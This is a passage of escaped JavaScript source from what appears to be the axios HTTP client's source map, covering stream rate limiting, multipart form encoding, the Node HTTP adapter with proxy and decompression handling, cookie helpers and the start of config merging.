return;\n\n const rate = _speedometer(progressBytes);\n\n bytesNotified = bytesTransferred;\n\n process.nextTick(() => {\n self.emit('progress', {\n loaded: bytesTransferred,\n total: totalBytes,\n progress: totalBytes ? (bytesTransferred / totalBytes) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && totalBytes && bytesTransferred <= totalBytes ?\n (totalBytes - bytesTransferred) / rate : undefined,\n lengthComputable: totalBytes != null\n });\n });\n }, internals.ticksRate);\n\n const onFinish = () => {\n internals.updateProgress.call(true);\n };\n\n this.once('end', onFinish);\n this.once('error', onFinish);\n }\n\n _read(size) {\n const internals = this[kInternals];\n\n if (internals.onReadCallback) {\n internals.onReadCallback();\n }\n\n return super._read(size);\n }\n\n _transform(chunk, encoding, callback) {\n const self = this;\n const internals = this[kInternals];\n const maxRate = internals.maxRate;\n\n const readableHighWaterMark = this.readableHighWaterMark;\n\n const timeWindow = internals.timeWindow;\n\n const divider = 1000 / timeWindow;\n const bytesThreshold = (maxRate / divider);\n const minChunkSize = internals.minChunkSize !== false ? Math.max(internals.minChunkSize, bytesThreshold * 0.01) : 0;\n\n function pushChunk(_chunk, _callback) {\n const bytes = Buffer.byteLength(_chunk);\n internals.bytesSeen += bytes;\n internals.bytes += bytes;\n\n if (internals.isCaptured) {\n internals.updateProgress();\n }\n\n if (self.push(_chunk)) {\n process.nextTick(_callback);\n } else {\n internals.onReadCallback = () => {\n internals.onReadCallback = null;\n process.nextTick(_callback);\n };\n }\n }\n\n const transformChunk = (_chunk, _callback) => {\n const chunkSize = Buffer.byteLength(_chunk);\n let chunkRemainder = null;\n let maxChunkSize = readableHighWaterMark;\n let bytesLeft;\n let passed = 0;\n\n if (maxRate) {\n const now = Date.now();\n\n if (!internals.ts || (passed = (now - internals.ts)) >= timeWindow) {\n internals.ts = now;\n bytesLeft = bytesThreshold - internals.bytes;\n internals.bytes = bytesLeft < 0 ? -bytesLeft : 0;\n passed = 0;\n }\n\n bytesLeft = bytesThreshold - internals.bytes;\n }\n\n if (maxRate) {\n if (bytesLeft <= 0) {\n // next time window\n return setTimeout(() => {\n _callback(null, _chunk);\n }, timeWindow - passed);\n }\n\n if (bytesLeft < maxChunkSize) {\n maxChunkSize = bytesLeft;\n }\n }\n\n if (maxChunkSize && chunkSize > maxChunkSize && (chunkSize - maxChunkSize) > minChunkSize) {\n chunkRemainder = _chunk.subarray(maxChunkSize);\n _chunk = _chunk.subarray(0, maxChunkSize);\n }\n\n pushChunk(_chunk, chunkRemainder ? () => {\n process.nextTick(_callback, null, chunkRemainder);\n } : _callback);\n };\n\n transformChunk(chunk, function transformNextChunk(err, _chunk) {\n if (err) {\n return callback(err);\n }\n\n if (_chunk) {\n transformChunk(_chunk, transformNextChunk);\n } else {\n callback(null);\n }\n });\n }\n\n setLength(length) {\n this[kInternals].length = +length;\n return this;\n }\n}\n\nexport default AxiosTransformStream;\n","const {asyncIterator} = Symbol;\n\nconst readBlob = async function* (blob) {\n if (blob.stream) {\n yield* blob.stream()\n } else if (blob.arrayBuffer) {\n yield await blob.arrayBuffer()\n } else if (blob[asyncIterator]) {\n yield* blob[asyncIterator]();\n } else {\n yield blob;\n }\n}\n\nexport default readBlob;\n","import {TextEncoder} from 'util';\nimport {Readable} from 'stream';\nimport utils from \"../utils.js\";\nimport readBlob from \"./readBlob.js\";\n\nconst BOUNDARY_ALPHABET = utils.ALPHABET.ALPHA_DIGIT + '-_';\n\nconst textEncoder = new TextEncoder();\n\nconst CRLF = '\\r\\n';\nconst CRLF_BYTES = textEncoder.encode(CRLF);\nconst CRLF_BYTES_COUNT = 2;\n\nclass FormDataPart {\n constructor(name, value) {\n const {escapeName} = this.constructor;\n const isStringValue = utils.isString(value);\n\n let headers = `Content-Disposition: form-data; name=\"${escapeName(name)}\"${\n !isStringValue && value.name ? `; filename=\"${escapeName(value.name)}\"` : ''\n }${CRLF}`;\n\n if (isStringValue) {\n value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n } else {\n headers += `Content-Type: ${value.type || \"application/octet-stream\"}${CRLF}`\n }\n\n this.headers = textEncoder.encode(headers + CRLF);\n\n this.contentLength = isStringValue ? value.byteLength : value.size;\n\n this.size = this.headers.byteLength + this.contentLength + CRLF_BYTES_COUNT;\n\n this.name = name;\n this.value = value;\n }\n\n async *encode(){\n yield this.headers;\n\n const {value} = this;\n\n if(utils.isTypedArray(value)) {\n yield value;\n } else {\n yield* readBlob(value);\n }\n\n yield CRLF_BYTES;\n }\n\n static escapeName(name) {\n return String(name).replace(/[\\r\\n\"]/g, (match) => ({\n '\\r' : '%0D',\n '\\n' : '%0A',\n '\"' : '%22',\n }[match]));\n }\n}\n\nconst formDataToStream = (form, headersHandler, options) => {\n const {\n tag = 'form-data-boundary',\n size = 25,\n boundary = tag + '-' + utils.generateString(size, BOUNDARY_ALPHABET)\n } = options || {};\n\n if(!utils.isFormData(form)) {\n throw TypeError('FormData instance required');\n }\n\n if (boundary.length < 1 || boundary.length > 70) {\n throw Error('boundary must be 10-70 characters long')\n }\n\n const boundaryBytes = textEncoder.encode('--' + boundary + CRLF);\n const footerBytes = textEncoder.encode('--' + boundary + '--' + CRLF + CRLF);\n let contentLength = footerBytes.byteLength;\n\n const parts = Array.from(form.entries()).map(([name, value]) => {\n const part = new FormDataPart(name, value);\n contentLength += part.size;\n return part;\n });\n\n contentLength += boundaryBytes.byteLength * parts.length;\n\n contentLength = utils.toFiniteNumber(contentLength);\n\n const computedHeaders = {\n 'Content-Type': `multipart/form-data; boundary=${boundary}`\n }\n\n if (Number.isFinite(contentLength)) {\n computedHeaders['Content-Length'] = contentLength;\n }\n\n headersHandler && headersHandler(computedHeaders);\n\n return Readable.from((async function *() {\n for(const part of parts) {\n yield boundaryBytes;\n yield* part.encode();\n }\n\n yield footerBytes;\n })());\n};\n\nexport default formDataToStream;\n","\"use strict\";\n\nimport stream from \"stream\";\n\nclass ZlibHeaderTransformStream extends stream.Transform {\n __transform(chunk, encoding, callback) {\n this.push(chunk);\n callback();\n }\n\n _transform(chunk, encoding, callback) {\n if (chunk.length !== 0) {\n this._transform = this.__transform;\n\n // Add Default Compression headers if no zlib headers are present\n if (chunk[0] !== 120) { // Hex: 78\n const header = Buffer.alloc(2);\n header[0] = 120; // Hex: 78\n header[1] = 156; // Hex: 9C \n this.push(header, encoding);\n }\n }\n\n this.__transform(chunk, encoding, callback);\n }\n}\n\nexport default ZlibHeaderTransformStream;\n","import utils from \"../utils.js\";\n\nconst callbackify = (fn, reducer) => {\n return utils.isAsyncFn(fn) ? function (...args) {\n const cb = args.pop();\n fn.apply(this, args).then((value) => {\n try {\n reducer ? cb(null, ...reducer(value)) : cb(null, value);\n } catch (err) {\n cb(err);\n }\n }, cb);\n } : fn;\n}\n\nexport default callbackify;\n","'use strict';\n\nimport utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport buildFullPath from '../core/buildFullPath.js';\nimport buildURL from './../helpers/buildURL.js';\nimport {getProxyForUrl} from 'proxy-from-env';\nimport http from 'http';\nimport https from 'https';\nimport util from 'util';\nimport followRedirects from 'follow-redirects';\nimport zlib from 'zlib';\nimport {VERSION} from '../env/data.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport platform from '../platform/index.js';\nimport fromDataURI from '../helpers/fromDataURI.js';\nimport stream from 'stream';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport AxiosTransformStream from '../helpers/AxiosTransformStream.js';\nimport {EventEmitter} from 'events';\nimport formDataToStream from \"../helpers/formDataToStream.js\";\nimport readBlob from \"../helpers/readBlob.js\";\nimport ZlibHeaderTransformStream from '../helpers/ZlibHeaderTransformStream.js';\nimport callbackify from \"../helpers/callbackify.js\";\n\nconst zlibOptions = {\n flush: zlib.constants.Z_SYNC_FLUSH,\n finishFlush: zlib.constants.Z_SYNC_FLUSH\n};\n\nconst brotliOptions = {\n flush: zlib.constants.BROTLI_OPERATION_FLUSH,\n finishFlush: zlib.constants.BROTLI_OPERATION_FLUSH\n}\n\nconst isBrotliSupported = utils.isFunction(zlib.createBrotliDecompress);\n\nconst {http: httpFollow, https: httpsFollow} = followRedirects;\n\nconst isHttps = /https:?/;\n\nconst supportedProtocols = platform.protocols.map(protocol => {\n return protocol + ':';\n});\n\n/**\n * If the proxy or config beforeRedirects functions are defined, call them with the options\n * object.\n *\n * @param {Object<string, any>} options - The options object that was passed to the request.\n *\n * @returns {Object<string, any>}\n */\nfunction dispatchBeforeRedirect(options, responseDetails) {\n if (options.beforeRedirects.proxy) {\n options.beforeRedirects.proxy(options);\n }\n if (options.beforeRedirects.config) {\n options.beforeRedirects.config(options, responseDetails);\n }\n}\n\n/**\n * If the proxy or config afterRedirects functions are defined, call them with the options\n *\n * @param {http.ClientRequestArgs} options\n * @param {AxiosProxyConfig} configProxy configuration from Axios options object\n * @param {string} location\n *\n * @returns {http.ClientRequestArgs}\n */\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n if (!proxy && proxy !== false) {\n const proxyUrl = getProxyForUrl(location);\n if (proxyUrl) {\n proxy = new URL(proxyUrl);\n }\n }\n if (proxy) {\n // Basic proxy authorization\n if (proxy.username) {\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (proxy.auth) {\n // Support proxy auth object form\n if (proxy.auth.username || proxy.auth.password) {\n proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n }\n const base64 = Buffer\n .from(proxy.auth, 'utf8')\n .toString('base64');\n options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n }\n\n options.headers.host = options.hostname + (options.port ? ':' + options.port : '');\n const proxyHost = proxy.hostname || proxy.host;\n options.hostname = proxyHost;\n // Replace 'host' since options is not a URL object\n options.host = proxyHost;\n options.port = proxy.port;\n options.path = location;\n if (proxy.protocol) {\n options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`;\n }\n }\n\n options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) {\n // Configure proxy for redirected request, passing the original config proxy to apply\n // the exact same logic as if the redirected request was performed by axios directly.\n setProxy(redirectOptions, configProxy, redirectOptions.href);\n };\n}\n\nconst isHttpAdapterSupported = typeof process !== 'undefined' && utils.kindOf(process) === 'process';\n\n// temporary hotfix\n\nconst wrapAsync = (asyncExecutor) => {\n return new Promise((resolve, reject) => {\n let onDone;\n let isDone;\n\n const done = (value, isRejected) => {\n if (isDone) return;\n isDone = true;\n onDone && onDone(value, isRejected);\n }\n\n const _resolve = (value) => {\n done(value);\n resolve(value);\n };\n\n const _reject = (reason) => {\n done(reason, true);\n reject(reason);\n }\n\n asyncExecutor(_resolve, _reject, (onDoneHandler) => (onDone = onDoneHandler)).catch(_reject);\n })\n};\n\nconst resolveFamily = ({address, family}) => {\n if (!utils.isString(address)) {\n throw TypeError('address must be a string');\n }\n return ({\n address,\n family: family || (address.indexOf('.') < 0 ? 6 : 4)\n });\n}\n\nconst buildAddressEntry = (address, family) => resolveFamily(utils.isObject(address) ? address : {address, family});\n\n/*eslint consistent-return:0*/\nexport default isHttpAdapterSupported && function httpAdapter(config) {\n return wrapAsync(async function dispatchHttpRequest(resolve, reject, onDone) {\n let {data, lookup, family} = config;\n const {responseType, responseEncoding} = config;\n const method = config.method.toUpperCase();\n let isDone;\n let rejected = false;\n let req;\n\n if (lookup) {\n const _lookup = callbackify(lookup, (value) => utils.isArray(value) ? value : [value]);\n // hotfix to support opt.all option which is required for node 20.x\n lookup = (hostname, opt, cb) => {\n _lookup(hostname, opt, (err, arg0, arg1) => {\n if (err) {\n return cb(err);\n }\n\n const addresses = utils.isArray(arg0) ? arg0.map(addr => buildAddressEntry(addr)) : [buildAddressEntry(arg0, arg1)];\n\n opt.all ? cb(err, addresses) : cb(err, addresses[0].address, addresses[0].family);\n });\n }\n }\n\n // temporary internal emitter until the AxiosRequest class will be implemented\n const emitter = new EventEmitter();\n\n const onFinished = () => {\n if (config.cancelToken) {\n config.cancelToken.unsubscribe(abort);\n }\n\n if (config.signal) {\n config.signal.removeEventListener('abort', abort);\n }\n\n emitter.removeAllListeners();\n }\n\n onDone((value, isRejected) => {\n isDone = true;\n if (isRejected) {\n rejected = true;\n onFinished();\n }\n });\n\n function abort(reason) {\n emitter.emit('abort', !reason || reason.type ? new CanceledError(null, config, req) : reason);\n }\n\n emitter.once('abort', reject);\n\n if (config.cancelToken || config.signal) {\n config.cancelToken && config.cancelToken.subscribe(abort);\n if (config.signal) {\n config.signal.aborted ? abort() : config.signal.addEventListener('abort', abort);\n }\n }\n\n // Parse url\n const fullPath = buildFullPath(config.baseURL, config.url);\n const parsed = new URL(fullPath, 'http://localhost');\n const protocol = parsed.protocol || supportedProtocols[0];\n\n if (protocol === 'data:') {\n let convertedData;\n\n if (method !== 'GET') {\n return settle(resolve, reject, {\n status: 405,\n statusText: 'method not allowed',\n headers: {},\n config\n });\n }\n\n try {\n convertedData = fromDataURI(config.url, responseType === 'blob', {\n Blob: config.env && config.env.Blob\n });\n } catch (err) {\n throw AxiosError.from(err, AxiosError.ERR_BAD_REQUEST, config);\n }\n\n if (responseType === 'text') {\n convertedData = convertedData.toString(responseEncoding);\n\n if (!responseEncoding || responseEncoding === 'utf8') {\n convertedData = utils.stripBOM(convertedData);\n }\n } else if (responseType === 'stream') {\n convertedData = stream.Readable.from(convertedData);\n }\n\n return settle(resolve, reject, {\n data: convertedData,\n status: 200,\n statusText: 'OK',\n headers: new AxiosHeaders(),\n config\n });\n }\n\n if (supportedProtocols.indexOf(protocol) === -1) {\n return reject(new AxiosError(\n 'Unsupported protocol ' + protocol,\n AxiosError.ERR_BAD_REQUEST,\n config\n ));\n }\n\n const headers = AxiosHeaders.from(config.headers).normalize();\n\n // Set User-Agent (required by some servers)\n // See https://github.com/axios/axios/issues/69\n // User-Agent is specified; handle case where no UA header is desired\n // Only set header if it hasn't been set in config\n headers.set('User-Agent', 'axios/' + VERSION, false);\n\n const onDownloadProgress = config.onDownloadProgress;\n const onUploadProgress = config.onUploadProgress;\n const maxRate = config.maxRate;\n let maxUploadRate = undefined;\n let maxDownloadRate = undefined;\n\n // support for spec compliant FormData objects\n if (utils.isSpecCompliantForm(data)) {\n const userBoundary = headers.getContentType(/boundary=([-_\\w\\d]{10,70})/i);\n\n data = formDataToStream(data, (formHeaders) => {\n headers.set(formHeaders);\n }, {\n tag: `axios-${VERSION}-boundary`,\n boundary: userBoundary && userBoundary[1] || undefined\n });\n // support for https://www.npmjs.com/package/form-data api\n } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {\n headers.set(data.getHeaders());\n\n if (!headers.hasContentLength()) {\n try {\n const knownLength = await util.promisify(data.getLength).call(data);\n Number.isFinite(knownLength) && knownLength >= 0 && headers.setContentLength(knownLength);\n /*eslint no-empty:0*/\n } catch (e) {\n }\n }\n } else if (utils.isBlob(data)) {\n data.size && headers.setContentType(data.type || 'application/octet-stream');\n headers.setContentLength(data.size || 0);\n data = stream.Readable.from(readBlob(data));\n } else if (data && !utils.isStream(data)) {\n if (Buffer.isBuffer(data)) {\n // Nothing to do...\n } else if (utils.isArrayBuffer(data)) {\n data = Buffer.from(new Uint8Array(data));\n } else if (utils.isString(data)) {\n data = Buffer.from(data, 'utf-8');\n } else {\n return reject(new AxiosError(\n 'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream',\n AxiosError.ERR_BAD_REQUEST,\n config\n ));\n }\n\n // Add Content-Length header if data exists\n headers.setContentLength(data.length, false);\n\n if (config.maxBodyLength > -1 && data.length > config.maxBodyLength) {\n return reject(new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config\n ));\n }\n }\n\n const contentLength = utils.toFiniteNumber(headers.getContentLength());\n\n if (utils.isArray(maxRate)) {\n maxUploadRate = maxRate[0];\n maxDownloadRate = maxRate[1];\n } else {\n maxUploadRate = maxDownloadRate = maxRate;\n }\n\n if (data && (onUploadProgress || maxUploadRate)) {\n if (!utils.isStream(data)) {\n data = stream.Readable.from(data, {objectMode: false});\n }\n\n data = stream.pipeline([data, new AxiosTransformStream({\n length: contentLength,\n maxRate: utils.toFiniteNumber(maxUploadRate)\n })], utils.noop);\n\n onUploadProgress && data.on('progress', progress => {\n onUploadProgress(Object.assign(progress, {\n upload: true\n }));\n });\n }\n\n // HTTP basic authentication\n let auth = undefined;\n if (config.auth) {\n const username = config.auth.username || '';\n const password = config.auth.password || '';\n auth = username + ':' + password;\n }\n\n if (!auth && parsed.username) {\n const urlUsername = parsed.username;\n const urlPassword = parsed.password;\n auth = urlUsername + ':' + urlPassword;\n }\n\n auth && headers.delete('authorization');\n\n let path;\n\n try {\n path = buildURL(\n parsed.pathname + parsed.search,\n config.params,\n config.paramsSerializer\n ).replace(/^\\?/, '');\n } catch (err) {\n const customErr = new Error(err.message);\n customErr.config = config;\n customErr.url = config.url;\n customErr.exists = true;\n return reject(customErr);\n }\n\n headers.set(\n 'Accept-Encoding',\n 'gzip, compress, deflate' + (isBrotliSupported ? ', br' : ''), false\n );\n\n const options = {\n path,\n method: method,\n headers: headers.toJSON(),\n agents: { http: config.httpAgent, https: config.httpsAgent },\n auth,\n protocol,\n family,\n beforeRedirect: dispatchBeforeRedirect,\n beforeRedirects: {}\n };\n\n // cacheable-lookup integration hotfix\n !utils.isUndefined(lookup) && (options.lookup = lookup);\n\n if (config.socketPath) {\n options.socketPath = config.socketPath;\n } else {\n options.hostname = parsed.hostname;\n options.port = parsed.port;\n setProxy(options, config.proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path);\n }\n\n let transport;\n const isHttpsRequest = isHttps.test(options.protocol);\n options.agent = isHttpsRequest ? config.httpsAgent : config.httpAgent;\n if (config.transport) {\n transport = config.transport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n if (config.beforeRedirect) {\n options.beforeRedirects.config = config.beforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n\n if (config.maxBodyLength > -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n\n if (config.insecureHTTPParser) {\n options.insecureHTTPParser = config.insecureHTTPParser;\n }\n\n // Create the request\n req = transport.request(options, function handleResponse(res) {\n if (req.destroyed) return;\n\n const streams = [res];\n\n const responseLength = +res.headers['content-length'];\n\n if (onDownloadProgress) {\n const transformStream = new AxiosTransformStream({\n length: utils.toFiniteNumber(responseLength),\n maxRate: utils.toFiniteNumber(maxDownloadRate)\n });\n\n onDownloadProgress && transformStream.on('progress', progress => {\n onDownloadProgress(Object.assign(progress, {\n download: true\n }));\n });\n\n streams.push(transformStream);\n }\n\n // decompress the response body transparently if required\n let responseStream = res;\n\n // return the last request in case of redirects\n const lastRequest = res.req || req;\n\n // if decompress disabled we should not decompress\n if (config.decompress !== false && res.headers['content-encoding']) {\n // if no content, but headers still say that it is encoded,\n // remove the header not confuse downstream operations\n if (method === 'HEAD' || res.statusCode === 204) {\n delete res.headers['content-encoding'];\n }\n\n switch ((res.headers['content-encoding'] || '').toLowerCase()) {\n /*eslint default-case:0*/\n case 'gzip':\n case 'x-gzip':\n case 'compress':\n case 'x-compress':\n // add the unzipper to the body stream processing pipeline\n streams.push(zlib.createUnzip(zlibOptions));\n\n // remove the content-encoding in order to not confuse downstream operations\n delete res.headers['content-encoding'];\n break;\n case 'deflate':\n streams.push(new ZlibHeaderTransformStream());\n\n // add the unzipper to the body stream processing pipeline\n streams.push(zlib.createUnzip(zlibOptions));\n\n // remove the content-encoding in order to not confuse downstream operations\n delete res.headers['content-encoding'];\n break;\n case 'br':\n if (isBrotliSupported) {\n streams.push(zlib.createBrotliDecompress(brotliOptions));\n delete res.headers['content-encoding'];\n }\n }\n }\n\n responseStream = streams.length > 1 ? stream.pipeline(streams, utils.noop) : streams[0];\n\n const offListeners = stream.finished(responseStream, () => {\n offListeners();\n onFinished();\n });\n\n const response = {\n status: res.statusCode,\n statusText: res.statusMessage,\n headers: new AxiosHeaders(res.headers),\n config,\n request: lastRequest\n };\n\n if (responseType === 'stream') {\n response.data = responseStream;\n settle(resolve, reject, response);\n } else {\n const responseBuffer = [];\n let totalResponseBytes = 0;\n\n responseStream.on('data', function handleStreamData(chunk) {\n responseBuffer.push(chunk);\n totalResponseBytes += chunk.length;\n\n // make sure the content length is not over the maxContentLength if specified\n if (config.maxContentLength > -1 && totalResponseBytes > config.maxContentLength) {\n // stream.destroy() emit aborted event before calling reject() on Node.js v16\n rejected = true;\n responseStream.destroy();\n reject(new AxiosError('maxContentLength size of ' + config.maxContentLength + ' exceeded',\n AxiosError.ERR_BAD_RESPONSE, config, lastRequest));\n }\n });\n\n responseStream.on('aborted', function handlerStreamAborted() {\n if (rejected) {\n return;\n }\n\n const err = new AxiosError(\n 'maxContentLength size of ' + config.maxContentLength + ' exceeded',\n AxiosError.ERR_BAD_RESPONSE,\n config,\n lastRequest\n );\n responseStream.destroy(err);\n reject(err);\n });\n\n responseStream.on('error', function handleStreamError(err) {\n if (req.destroyed) return;\n reject(AxiosError.from(err, null, config, lastRequest));\n });\n\n responseStream.on('end', function handleStreamEnd() {\n try {\n let responseData = responseBuffer.length === 1 ? responseBuffer[0] : Buffer.concat(responseBuffer);\n if (responseType !== 'arraybuffer') {\n responseData = responseData.toString(responseEncoding);\n if (!responseEncoding || responseEncoding === 'utf8') {\n responseData = utils.stripBOM(responseData);\n }\n }\n response.data = responseData;\n } catch (err) {\n return reject(AxiosError.from(err, null, config, response.request, response));\n }\n settle(resolve, reject, response);\n });\n }\n\n emitter.once('abort', err => {\n if (!responseStream.destroyed) {\n responseStream.emit('error', err);\n responseStream.destroy();\n }\n });\n });\n\n emitter.once('abort', err => {\n reject(err);\n req.destroy(err);\n });\n\n // Handle errors\n req.on('error', function handleRequestError(err) {\n // @todo remove\n // if (req.aborted && err.code !== AxiosError.ERR_FR_TOO_MANY_REDIRECTS) return;\n reject(AxiosError.from(err, null, config, req));\n });\n\n // set tcp keep alive to prevent drop connection by peer\n req.on('socket', function handleRequestSocket(socket) {\n // default interval of sending ack packet is 1 minute\n socket.setKeepAlive(true, 1000 * 60);\n });\n\n // Handle request timeout\n if (config.timeout) {\n // This is forcing a int timeout to avoid problems if the `req` interface doesn't handle other types.\n const timeout = parseInt(config.timeout, 10);\n\n if (Number.isNaN(timeout)) {\n reject(new AxiosError(\n 'error trying to parse `config.timeout` to int',\n AxiosError.ERR_BAD_OPTION_VALUE,\n config,\n req\n ));\n\n return;\n }\n\n // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system.\n // And timer callback will be fired, and abort() will be invoked before connection, then get \"socket hang up\" and code ECONNRESET.\n // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up.\n // And then these socket which be hang up will devouring CPU little by little.\n // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect.\n req.setTimeout(timeout, function handleRequestTimeout() {\n if (isDone) return;\n let timeoutErrorMessage = config.timeout ? 'timeout of ' + config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = config.transitional || transitionalDefaults;\n if (config.timeoutErrorMessage) {\n timeoutErrorMessage = config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n config,\n req\n ));\n abort();\n });\n }\n\n\n // Send the request\n if (utils.isStream(data)) {\n let ended = false;\n let errored = false;\n\n data.on('end', () => {\n ended = true;\n });\n\n data.once('error', err => {\n errored = true;\n req.destroy(err);\n });\n\n data.on('close', () => {\n if (!ended && !errored) {\n abort(new CanceledError('Request stream has been aborted', config, req));\n }\n });\n\n data.pipe(req);\n } else {\n req.end(data);\n }\n });\n}\n\nexport const __setProxy = setProxy;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n /**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: 